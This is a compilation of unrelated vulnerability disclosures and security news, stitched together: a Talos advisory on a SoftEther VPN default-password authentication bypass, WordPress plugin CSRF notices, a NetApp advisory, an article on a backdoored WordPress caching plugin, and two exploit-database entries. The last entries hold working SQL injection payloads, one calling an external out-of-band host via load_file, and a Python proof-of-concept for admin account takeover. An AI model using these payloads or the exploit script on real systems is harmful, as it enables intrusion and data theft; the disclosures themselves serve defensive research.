An authentication bypass vulnerability exists in the CiRpcAccepted() functionality of SoftEther VPN 4.41-9782-beta and 5.01.9674. A specially crafted network packet can lead to unauthorized access. An attacker can send a network request to trigger this vulnerability.

**SUMMARY**

An authentication bypass vulnerability exists in the CiRpcAccepted() functionality of SoftEther VPN 4.41-9782-beta and 5.01.9674. A specially crafted network packet can lead to unauthorized access. An attacker can send a network request to trigger this vulnerability.

**CONFIRMED VULNERABLE VERSIONS**

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

SoftEther VPN 4.41-9782-beta  
SoftEther VPN 5.01.9674

**PRODUCT URLS**

SoftEther VPN - https://www.softether.org/

**CVSSv3 SCORE**

7.3 - CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L

**CWE**

CWE-453 - Insecure Default Variable Initialization

**DETAILS**

SoftEther is a multi-platform VPN project that provides both server and client code to connect over a variety of VPN protocols, including Wireguard, PPTP, SSTP, L2TP, etc. SoftEther has a variety of features for both enterprise and personal use, and enables Nat Traversal out-of-the-box for remote-access setups behind firewalls.

Within the SoftEtherVPN client there exists some interesting architectural decisions, first and foremost being the fact that the SoftEtherVPN client itself consists of an RPC client and an RPC server. While the process differs on Linux and Windows, there are some core common elements. The VPN client’s RPC server binds to a given TCP port within the range of 9931-9936, on all interfaces, and then the VPN client’s RPC client connects to that port to send the VPN client commands. For ease of reference, we will be referring to these components as the RPC client and RPC server, but just know that these are both contained within the client-side portion of SoftEtherVPN.

The internal RPC process in the SoftEtherVPN client ends up occurring on localhost by default. There is still an authentication mechanism in order to protect against other users on the same machine, and also because the VPN client RPC server can be configured to allow non-localhost connections. We observe the RPC server code for authentication below:

    // RPC acceptance code
    void CiRpcAccepted(CLIENT *c, SOCK *s)
    {
        UCHAR hashed_password[SHA1_SIZE];
        UINT rpc_mode;
        UINT retcode;
        RPC *rpc;
        // Validate arguments
        if (c == NULL || s == NULL)
        {
            return;
        }
    
        // Receive the RPC mode
        if (RecvAll(s, &rpc_mode, sizeof(UINT), false) == false) // [1]
        {
            return;
        }
    
        rpc_mode = Endian32(rpc_mode);
    
        if (rpc_mode == CLIENT_RPC_MODE_NOTIFY)
        {
            // [...]
        }
        else if (rpc_mode == CLIENT_RPC_MODE_SHORTCUT || rpc_mode == CLIENT_RPC_MODE_SHORTCUT_DISCONNECT)
        {
            // [...]
        }
    
        // Password reception
        if (RecvAll(s, hashed_password, SHA1_SIZE, false) == false) // [2]
        {
            return;
        }
    
        retcode = 0;
    
        // Password comparison
        if (Cmp(hashed_password, c->EncryptedPassword, SHA1_SIZE) != 0) // [3]
        {
            retcode = 1;
        }
    
        if (c->PasswordRemoteOnly && IsLocalHostIP(&s->RemoteIP))
        {
            // If in a mode that requires a password only remote,
            // the password sent from localhost is considered to be always correct
            retcode = 0;
        }
    
        Lock(c->lock);
        {
            if (c->Config.AllowRemoteConfig == false)  // Default false on linux.
            {
                // If the remote control is prohibited,
                // identify whether this connection is from remote
                if (IsLocalHostIP(&s->RemoteIP) == false)
                {
                    retcode = 2;
                }
            }
        }
        Unlock(c->lock);
    
    // #define CLIENT_RPC_MODE_MANAGEMENT          1
    

After our RPC client connects to 0.0.0.0:9931, we receive four bytes to indicate the message type \[1\]. Assuming this message is of type CLIENT_RPC_MODE_MANAGEMENT, we skip down to receiving 0x14 more bytes \[2\], which is subsequently compared with the RPC server’s configured password \[3\]. If we look inside of our default vpn_client.config, we see that the c->EncryptedPassword corresponds to the configuration’s EncryptedPassword:

    # Software Configuration File
    # ---------------------------
    #
    # You may edit this file when the VPN Server / Client / Bridge program is not running.
    #
    # In prior to edit this file manually by your text editor,
    # shutdown the VPN Server / Client / Bridge background service.
    # Otherwise, all changes will be lost.
    #
    declare root
    {
        bool DontSavePassword false
        byte EncryptedPassword +WzqGYrR3VYXrAhKPZLGEHcIwO8=
    

And if we decode the RPC server password:

    $ echo -en "+WzqGYrR3VYXrAhKPZLGEHcIwO8=" | base64 -d | hexdump -C
    00000000  f9 6c ea 19 8a d1 dd 56  17 ac 08 4a 3d 92 c6 10  |.l.....V...J=...|
    00000010  77 08 c0 ef                                       |w...|
    00000014
    

Curiously, by default, the RPC client is able to connect to the RPC server without any configuration, which raises the question of where this password comes from. A quick browse through the source code quickly reveals the CiInitConfiguration function:

    // Initialize the settings
    void CiInitConfiguration(CLIENT *c)
    {
        // [...] 
    
        if (CiLoadConfigurationFile(c) == false)
        {
            CLog(c, "LC_LOAD_CONFIG_3");
            // Do the initial setup because the configuration file does not exist
            // Clear the password
            Sha0(c->EncryptedPassword, "", 0);            // [4]
            // Initialize the client configuration
            // Disable remote management
            c->Config.AllowRemoteConfig = false;
            StrCpy(c->Config.KeepConnectHost, sizeof(c->Config.KeepConnectHost), CLIENT_DEFAULT_KEEPALIVE_HOST);
            c->Config.KeepConnectPort = CLIENT_DEFAULT_KEEPALIVE_PORT;
            c->Config.KeepConnectProtocol = CONNECTION_UDP;
            c->Config.KeepConnectInterval = CLIENT_DEFAULT_KEEPALIVE_INTERVAL;
            c->Config.UseKeepConnect = false;   // Don't use the connection maintenance function by default in the Client
            // Eraser
            c->Eraser = NewEraser(c->Logger, 0);
        }
        else
        {
            CLog(c, "LC_LOAD_CONFIG_2");
        }
    

At \[4\] we can clearly see that the c->EncryptedPassword comes from this Sha0 function, which is called without input parameters. Following the code-flow, we eventually get to MY_SHA0_hash:

    /* Convenience function */
    const UCHAR* MY_SHA0_hash(const void* data, int len, UCHAR* digest) {
        MY_SHA0_CTX ctx;
        MY_SHA0_init(&ctx);
        MY_SHA0_update(&ctx, data, len);
        memcpy(digest, MY_SHA0_final(&ctx), MY_SHA0_DIGEST_SIZE);
        return digest;
    }
    

But since this hashing is somehow able to function without input, we have to look inside MY_SHA0_final:

    const UCHAR* MY_SHA0_final(MY_SHA0_CTX* ctx) {
        UCHAR *p = ctx->buf;
        UINT64 cnt = ctx->count * 8;
        int i;
        MY_SHA0_update(ctx, (UCHAR*)"\x80", 1); // [5]
        while ((ctx->count & 63) != 56) {
            MY_SHA0_update(ctx, (UCHAR*)"\0", 1);
        }
        for (i = 0; i < 8; ++i) {
            UCHAR tmp = (UCHAR) (cnt >> ((7 - i) * 8));
            MY_SHA0_update(ctx, &tmp, 1);
        }
        for (i = 0; i < 5; i++) {
            UINT tmp = ctx->state[i];
            *p++ = tmp >> 24;
            *p++ = tmp >> 16;
            *p++ = tmp >> 8;
            *p++ = tmp >> 0;
        }
        return ctx->buf;
    }
    

As we can see above, a “\\x80” byte is added to the sha context \[5\], as well as a given amount of padding bytes after. Regardless of the exact implementation, it suffices to say that this resulting hash from the Sha0 function never changes and will always by default be “\\xf9\\x6c\\xea\\x19\\x8a\\xd1\\xdd\\x56\\x17\\xac\\x08\\x4a\\x3d\\x92\\xc6\\x10\\x77\\x08\\xc0\\xef”. Since it is not common for a client program to consist of an internal RPC client and RPC server, it would be less expected for users to change this default password. This could lead to other local users gaining access to the RPC server, or remote users, if it is configured for it. If access is gained, certificates can be installed to allow for man-in-the-middle attacks on VPN connections. VPN authentication settings can be dumped, potentially leading to further compromise of the VPN endpoint.

**VENDOR RESPONSE**

The vendor issued an advisory: https://www.softether.org/9-about/News/904-SEVPN202301

**TIMELINE**

2023-06-12 - Vendor Disclosure  
2023-06-30 - Vendor Patch Release  
2023-10-12 - Public Release

Discovered by Lilith >\_> of Cisco Talos.

CVE-2023-27516: TALOS-2023-1754 || Cisco Talos Intelligence Group

Cross-Site Request Forgery (CSRF) vulnerability in OTWthemes Blog Manager Light plugin <= 1.20 versions.

**Solution**

 No fix

No patched version is available.

Found this useful? Thank Mika for reporting this vulnerability. Buy a coffee ☕

Mika discovered and reported this Cross Site Request Forgery (CSRF) vulnerability in WordPress Blog Manager Light Plugin. This could allow a malicious actor to force higher privileged users to execute unwanted actions under their current authentication. This vulnerability has not been known to be fixed yet.

**No other known vulnerabilities for this plugin**Report

**WordPress plugin developer?**

Start a free security program for your WordPress plugins or request an audit.

Apply for MVDP

**Security researcher?**

Report to Patchstack Alliance bounty platform and earn monthly cash prizes.

Learn more

CVE-2023-45102: WordPress Blog Manager Light plugin <= 1.20 - Cross Site Request Forgery (CSRF) vulnerability - Patchstack

Cross-Site Request Forgery (CSRF) vulnerability in Jonk @ Follow me Darling Sp*tify Play Button for WordPress plugin <= 2.10 versions.

**Solution**

 No fix

No patched version is available.

BuShiYue discovered and reported this Cross Site Request Forgery (CSRF) vulnerability in WordPress Sp\*tify Play Button for WordPress Plugin. This could allow a malicious actor to force higher privileged users to execute unwanted actions under their current authentication. This vulnerability has not been known to be fixed yet.

**Other vulnerabilities in this plugin**

 1 present

 2 patched

View all

**WordPress plugin developer?**

Start a free security program for your WordPress plugins or request an audit.

Apply for MVDP

**Security researcher?**

Report to Patchstack Alliance bounty platform and earn monthly cash prizes.

Learn more

CVE-2023-41131: WordPress Sp*tify Play Button for WordPress plugin <= 2.10 - Cross Site Request Forgery (CSRF) vulnerability - Patchstack

Cross-Site Request Forgery (CSRF) vulnerability in Fedor Urvanov, Aram Kocharyan Urvanov Syntax Highlighter plugin <= 2.8.33 versions.

**Solution**

 No fix

No patched version is available.

Found this useful? Thank Mika for reporting this vulnerability. Buy a coffee ☕

Mika discovered and reported this Cross Site Request Forgery (CSRF) vulnerability in WordPress Urvanov Syntax Highlighter Plugin. This could allow a malicious actor to force higher privileged users to execute unwanted actions under their current authentication. This vulnerability has not been known to be fixed yet.

**No other known vulnerabilities for this plugin**Report

**WordPress plugin developer?**

Start a free security program for your WordPress plugins or request an audit.

Apply for MVDP

**Security researcher?**

Report to Patchstack Alliance bounty platform and earn monthly cash prizes.

Learn more

CVE-2023-45106: WordPress Urvanov Syntax Highlighter plugin <= 2.8.33 - Cross Site Request Forgery (CSRF) vulnerability - Patchstack

Cross-Site Request Forgery (CSRF) vulnerability in YAS Global Team Permalinks Customizer plugin <= 2.8.2 versions.

**Solution**

 No fix

No patched version available.

Found this useful? Thank Mika for reporting this vulnerability. Buy a coffee ☕

Mika discovered and reported this Cross Site Request Forgery (CSRF) vulnerability in WordPress Permalinks Customizer Plugin. This could allow a malicious actor to force higher privileged users to execute unwanted actions under their current authentication. This vulnerability has not been known to be fixed yet.

**No other known vulnerabilities for this plugin**Report

**WordPress plugin developer?**

Start a free security program for your WordPress plugins or request an audit.

Apply for MVDP

**Security researcher?**

Report to Patchstack Alliance bounty platform and earn monthly cash prizes.

Learn more

CVE-2023-45103: WordPress Permalinks Customizer plugin <= 2.8.2 - Cross Site Request Forgery (CSRF) vulnerability - Patchstack

Cross-Site Request Forgery (CSRF) vulnerability in Arul Prasad J Publish Confirm Message plugin <= 1.3.1 versions.

**Solution**

 No fix

No patched version is available.

Taihei Shimamine discovered and reported this Cross Site Request Forgery (CSRF) vulnerability in WordPress Publish Confirm Message Plugin. This could allow a malicious actor to force higher privileged users to execute unwanted actions under their current authentication. This vulnerability has not been known to be fixed yet.

**No other known vulnerabilities for this plugin**Report

**WordPress plugin developer?**

Start a free security program for your WordPress plugins or request an audit.

Apply for MVDP

**Security researcher?**

Report to Patchstack Alliance bounty platform and earn monthly cash prizes.

Learn more

CVE-2023-32124: WordPress Publish Confirm Message plugin <= 1.3.1 - Cross Site Request Forgery (CSRF) vulnerability - Patchstack

SnapGathers versions prior to 4.9 are susceptible to a vulnerability 
which could allow a local authenticated attacker to discover plaintext 
domain user credentials

*   Home
*   Advisory
*   CVE-2023-27315 Information Disclosure Vulnerability in SnapGathers

circle-check-alt This advisory should be considered the single source of current, up-to-date, authorized and accurate information from NetApp regarding Full Support products and versions.

**Subscribe to NTAP-20231009-0002 updates**

**Unsubscribe from NTAP-20231009-0002 advisory updates**

**Advisory ID:** NTAP-20231009-0002 **Version:** 1.0 **Last updated:** 10/09/2023 **Status:** Final. **CVEs:** CVE-2023-27315

This document is provided solely for informational purposes. All information is based upon NetApp’s current knowledge and understanding of the hardware and software products tested by NetApp, and the methodology and assumptions used by NetApp. NetApp is not responsible for any errors or omissions that may be contained herein, and no warranty, representation, or other legal commitment or obligation is being provided by NetApp. © 2022 NetApp, Inc. All rights reserved. No portions of this document may be reproduced without prior written consent of NetApp, Inc.

CVE-2023-27315: CVE-2023-27315 Information Disclosure Vulnerability in SnapGathers

Evasive malware disguised as a caching plug-in allows attackers to create an admin account on a WordPress site, then take over and monetize sites at the expense of legitimate SEO and user privacy.

Sophisticated malware capable of creating an administration account for a website is lurking behind an authentic-looking WordPress caching plug-in, giving threat actors a way to completely hijack infected websites at will.

Researchers from Wordfence discovered the plug-in, which can perform a variety of malicious tasks while masquerading as legitimate add-on software for the WordPress platform, they revealed in a blog post Oct. 11. Chief among this activity is the ability to create an admin account and remotely activate plug-ins — basically giving threat actors free rein over infected sites.

The backdoor can work both as a standalone script and also as a plug-in, with features like remote plug-in activation and conditional content filtering that give it evasion capabilities difficult for inexperienced users to detect.

Other capabilities include the ability to add filters to prevent the malware from being included in the list of activated plug-ins, pinging functionality that allows a malicious actor to check if the script is still operational, and file-modification capabilities. Further, the backdoor can activate or deactivate arbitrary plug-ins remotely, which is "useful to disable unwanted plug-ins and also to activate this malicious plug-in as needed," Wotschka wrote.

"Since the malicious file runs as a plug-in within the context of WordPress, it does have access to normal WordPress functionality just like other plug-ins do," Wordfence vulnerability researcher Marco Wotschka wrote in the post. "Taken together, these features provide attackers with everything they need to remotely control and monetize a victim site, at the expense of the site’s own SEO rankings and user privacy."

A Wordfence analyst discovered a sample of the malware during a site clean on July 18, and created a signature the following day, which was subsequently tested and released to Wordfence customers on Sept. 1.

**Malicious Plug-in: A Hidden but Detectable Malware Enemy**

The researchers broke down some of the key functionality of the malicious plug-in, including features that are most likely to arise suspicion among current site administrators or users.

One of those is to use wp\_create\_user function to create a new user account with the username superadminand a hardcoded password to set up an attacker as a website administrator. This account is removed once a victim has been successfully compromised as a way to remove traces and thus reduce changes of detection, according to Wordfence.

"While often seen in test code, user creation with hardcoded passwords should be considered a red flag, and the elevation of this user to an administrator is certainly reason enough for suspicion," Wotschka wrote.

The malicious plug-in also includes bot detection code, which is often present in malware on a website that serves normal content to some users while redirecting or presenting malicious content to others.

"One common thread shared by these infection scenarios is that site owners find their site looks fine to them, but their visitors have reported issues such as seeing spam or being redirected to dubious sites," Wotschka explained.

Further, since this kind of malware wants search engines to find the malicious content, it is usually served to them as they index a site, he said. Threat actors use keyword stuffing to help increase traffic sent to infected sites, with administrators often reporting a sudden, unexpected surge in site traffic when their sites are hit by an infection.

While the presence of bot detection code on its own is not enough to verify that malicious activity is present on a website, it does stand out as suspicious activity, Wotschka added.

**Securing WordPress Sites**

Plug-ins remain an exposed and sizeable attack surface for WordPress and the millions of sites built on it, an endemic issue that remains a persistent threat. Threat actors have targeted WordPress sites via both malicious and vulnerable plug-ins, with both issues often going unnoticed by site operators until after a website is already under active attack.

Overall, anyone building websites using WordPress should follow security best practices in how they configure the sites to ensure they remain as protected as possible. Wordfence advised that they should also include some type of security monitoring on the site in case of compromise even after following these practices.

Backdoor Lurks Behind WordPress Caching Plug-in to Hijack Websites

Dawa Pharma version 1.0-2022 suffers from a remote SQL injection vulnerability.

    ## Title: dawa-pharma-1.0-2022 Multiple-SQLi## Author: nu11secur1ty## Date: 10/12/2023## Vendor: https://www.mayurik.com/## Software: https://www.mayurik.com/source-code/P0349/best-pharmacy-billing-software-free-download## Reference: https://portswigger.net/web-security/sql-injection## Description:The email parameter appears to be vulnerable to SQL injection attacks.The payload '+(selectload_file('\\\\ke2v0nog1ghmfe276ddp7smbi2ovcm7aydm59vxk.tupaputka.com\\lhc'))+'was submitted in the email parameter. This payload injects a SQLsub-query that calls MySQL's load_file function with a UNC file paththat references a URL on an external domain. The applicationinteracted with that domain, indicating that the injected SQL querywas executed. The attacker can get all the information for the clientsof this application from the server, and very sensitive informationfor accessing the server by exploiting the vulnerability.STATUS: HIGH-CRITICAL Vulnerability[+]Payload:```MySQL---Parameter: email (POST)    Type: boolean-based blind    Title: OR boolean-based blind - WHERE or HAVING clause    Payload: email=-8698' OR 5305=5305-- vvuH&password=mayurik&login=    Type: time-based blind    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)    Payload: email=mayuri.infospace@gmail.com'+(selectload_file('\\\\ke2v0nog1ghmfe276ddp7smbi2ovcm7aydm59vxk.tupaputka.com\\lhc'))+''AND (SELECT 4515 FROM (SELECT(SLEEP(15)))KUth)--VRdC&password=mayurik&login=---```## Reproduce:[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/mayuri_k/2022/dawa-pharma-1.0-2022)## Proof and Exploit:[href](https://www.nu11secur1ty.com/2023/10/dawa-pharma-10-2022-multiple-sqli.html)## Time spent:00:37:00

Dawa Pharma 1.0-2022 SQL Injection

Lost and Found Information System version 1.0 suffers from an insecure direct object reference vulnerability that allows for account takeover.

    # Exploit Title: Lost and Found Information System v1.0 - idor leads to Account Take over # Date: 2023-12-03# Exploit Author: OR4NG.M4N# Category : webapps# CVE : CVE-2023-38965Python p0c :import argparseimport requestsimport timeparser = argparse.ArgumentParser(description='Send a POST request to the target server')parser.add_argument('-url', help='URL of the target', required=True)parser.add_argument('-user', help='Username', required=True)parser.add_argument('-password', help='Password', required=True)args = parser.parse_args()url = args.url + '/classes/Users.php?f=save'data = {    'id': '1',    'firstname': 'or4ng',    'middlename': '',    'lastname': 'Admin',    'username': args.user,    'password': args.password}response = requests.post(url, data)if b"1" in response.content:    print("Exploit ..")    time.sleep(1)    print("User :" + args.user + "\nPassword :" + args.password)else:    print("Exploit Failed..")

Tag

#auth